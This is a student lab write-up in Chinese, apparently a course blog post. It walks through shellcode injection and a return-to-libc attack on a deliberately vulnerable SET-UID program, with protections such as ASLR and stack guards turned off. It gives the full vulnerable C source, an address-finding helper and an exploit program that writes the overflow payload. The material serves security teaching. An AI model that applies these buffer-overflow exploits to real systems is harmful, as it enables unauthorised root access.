20145240《网络对抗》PC平台逆向破解_advanced

PC平台逆向破解_advanced

shellcode注入

  • Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。

  • linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcodenop+shellcode+retaddr。因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。一般来说,缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。

实践

  • 配置好注入环境:设置堆栈可执行,关闭地址随机化:

  • 构造要注入的payload,采用anything+retaddr+nops+shellcode方式,可以使用xxd来查看其内容,其中x01x02x03x04要填写返回的地址

  • 在终端注入这段攻击BUF:(cat input_shellcode; cat) > ./20145240pwn1,20145240pwn1已经开始执行,此时打开一个新终端,查找20145240pwn1的UID

  • 找到UID号为:2018

  • 通过GDB调试,打开GDB,对20145240pwn1进行调试

  • 对foo函数进行反汇编,以此找到函数的返回地址,而我们要做的就是将返回地址覆盖,指向我们设置的shellcode代码

  • 接下来我们在ret处设置一个断点,断点设置完毕后,在程序执行的终端按一下回车!!,用以调试进程,此时查看esp寄存器情况

  • 可以发现此时esp的值为0x04030201,是我们构造的shellcode中的一部分

  • 图中0x01020304的位置0xffffd32c是返回地址的位置,由于结构为anything+retaddr+nops+shellcode,由此推断我们的shellcode的地址为0xffffd330

  • 将返回地址修改为0xffffd330重新注入,成功。

Return-to-libc 攻击实验

  • 缓冲区溢出的常用攻击方法是将恶意代码 shellcode 注入到程序中,并用其地址来覆盖程序本身函数调用的返回地址,使得返回时执行此恶意代码而不是原本应该执行的代码。也就是说,这种攻击在实施时通常首先要将恶意代码注入目标漏洞程序中。但是,程序的代码段通常设置为不可写,因此攻击者需要将此攻击代码置于堆栈中。于是为了阻止此种类型的攻击,缓冲区溢出防御机制采用了非执行堆栈技术,这种技术使得堆栈上的恶意代码不可执行。

实践

  • 环境配置,设置32位linux环境
sudo apt-get update//更新软件源
    
sudo apt-get install lib32z1 libc6-dev-i386//安装软件
    
sudo apt-get install lib32readline-gplv2-dev//然后进入32位环境,进入bash

  • 将地址随机化关闭

  • 设置zsh程序。/bin/bash能够通过使shell程序放弃自己的root权限来防范缓冲区溢出攻击及其他利用shell程序的攻击,在本实践中,我们用zsh程序替代/bin/bash程序,解除此防护措施。

  • 进入tmp目录,使用vim编写retlib.c程序
  #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    int bof(FILE *badfile)
    {
    char buffer[12];
    /* The following statement has a buffer overflow problem */
    fread(buffer, sizeof(char), 40, badfile);
    return 1;
    }
    int main(int argc, char **argv)
    {
    FILE *badfile;
    badfile = fopen("badfile", "r");
    bof(badfile);
    printf("Returned Properly
");
    fclose(badfile);
    return 1;
    }

  • 编译程序并设置SET-UID,设置su以root身份执行,运用-fno-stack-protector关闭栈保护机制。

  • 编写并编译20145240getenvaddr.c。这个程序是用来读取环境变量的,代码如下
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    int main(int argc, char const *argv[])
    {
     char *ptr;
    
     if(argc < 3){
        printf("Usage: %s <environment var> <target program name>
", argv[0]);
        exit(0);
        }
     ptr = getenv(argv[1]);
     ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
     printf("%s will be at %p
", argv[1], ptr);
     return 0;
    }

  • 最后vim编写攻击程序,写好后先放到tmp目录下
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    int main(int argc, char **argv)
    {
     char buf[40];
     FILE *badfile;
     badfile = fopen(".//badfile", "w");
    
     strcpy(buf, "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90");// nop 24 times
    
     *(long *) &buf[32] =0x11111111; // 查询BIN_SH的地址后放入
     *(long *) &buf[24] =0x22222222; // 查询system()的地址后放入
     *(long *) &buf[36] =0x33333333; // 查询exit()的地址后放入
     fwrite(buf, sizeof(buf), 1, badfile);
     fclose(badfile);
    }
  • 获取 BIN_SH 地址(0xffffdee4)

  • 编译攻击程序20145240exploit.c

  • 使用gdb获取system 和 exit 的地址,我的地址分别为0xf7e2eb30和0x7e227e0

  • vim攻击程序20145240exploit.c中的三个地址的值

  • 将之前编译生成的文件和运行生成的badfile文件删掉,重新编译执行。

  • 成功。

原文地址:https://www.cnblogs.com/20145240lsj/p/6637146.html